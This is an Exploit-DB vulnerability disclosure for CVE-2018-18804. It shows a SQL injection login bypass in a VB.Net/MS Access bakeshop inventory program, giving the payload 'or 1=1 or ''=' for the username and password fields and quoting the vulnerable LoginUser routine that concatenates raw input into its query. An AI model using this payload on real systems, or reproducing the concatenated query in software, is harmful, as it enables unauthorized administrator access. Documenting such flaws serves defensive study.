Bakeshop Inventory System in VB.Net and MS Access Database 1.0 – SQL Injection

  • 作者: Ihsan Sencan
    日期: 2018-10-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45720/
  • # Exploit Title: Bakeshop Inventory System in VB.Net and MS Access Database 1.0 - SQL Injection
    # Dork: N/A
    # Date: 2018-10-29
    # Exploit Author: Ihsan Sencan
    # Vendor Homepage: https://www.sourcecodester.com/users/janobe
    # Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/bakeshopinventory1.0.zip
    # Version: 1.0
    # Category: Windows
    # Tested on: WiN7_x64/KaLiLinuX_x64
    # CVE: CVE-2018-18804
    
    # POC: 
    # 1)
    # User: 'or 1=1 or ''='
    # Pass: 'or 1=1 or ''='
    # 
    # https://2.bp.blogspot.com/-xjiRUlpkNGc/W9Ywmp79JpI/AAAAAAAAENs/3UDWxFvuTfcJrEKDU9TUxJRpoT8T6yLLwCLcBGAs/s1600/sql4.png
    # 
    #[PATH]/include/publicfunction.vb
    #....
    #237 Public Sub LoginUser(ByVal userid As Object, ByVal pass As Object)
    #238 Try
    #239 con.Open()
    #240 
    #241 cmd = New OleDb.OleDbCommand
    #242 With cmd
    #243 .Connection = con
    #244 .CommandText = "SELECT * FROM tblUser WHERE U_UNAME ='" & userid.Text & "' AND U_PASS = '" & pass.Text & "'"
    #245 End With
    #246 
    #247 da = New OleDb.OleDbDataAdapter
    #248 da.SelectCommand = cmd
    #249 dt = New DataTable
    #250 da.Fill(dt)
    #251 
    #252 If dt.Rows.Count > 0 Then
    #253 
    #254 If dt.Rows(0).Item("U_TYPE") = "Administrator" Then
    #255 
    #256 MsgBox("You login as administrator!!")
    #257 
    #258 ShowForm(LoginForm1, Form1)
    #259 
    #260 
    #261 LoginForm1.Hide()
    #262 ElseIf dt.Rows(0).Item("U_TYPE") = "Staff" Then
    #263 
    #264 MsgBox("You login as Staff!!")
    #265 
    #266 With Form1
    #267 '.ManageUsersToolStripMenuItem.Visible = False
    #268 
    #269 End With
    #270 
    #271 ShowForm(LoginForm1, Form1)
    #272 
    #273 
    #274 LoginForm1.Hide()
    #275 End If 
    #276 
    #277 Else
    #278 MsgBox("Account does not exists.", MsgBoxStyle.Exclamation)
    #279 End If
    #280 
    #281 Catch ex As Exception
    #282 
    #283 MsgBox(ex.Message)
    #284 Finally
    #285 con.Close()
    #286 da.Dispose()
    #287 End Try
    #288 End Sub
    #....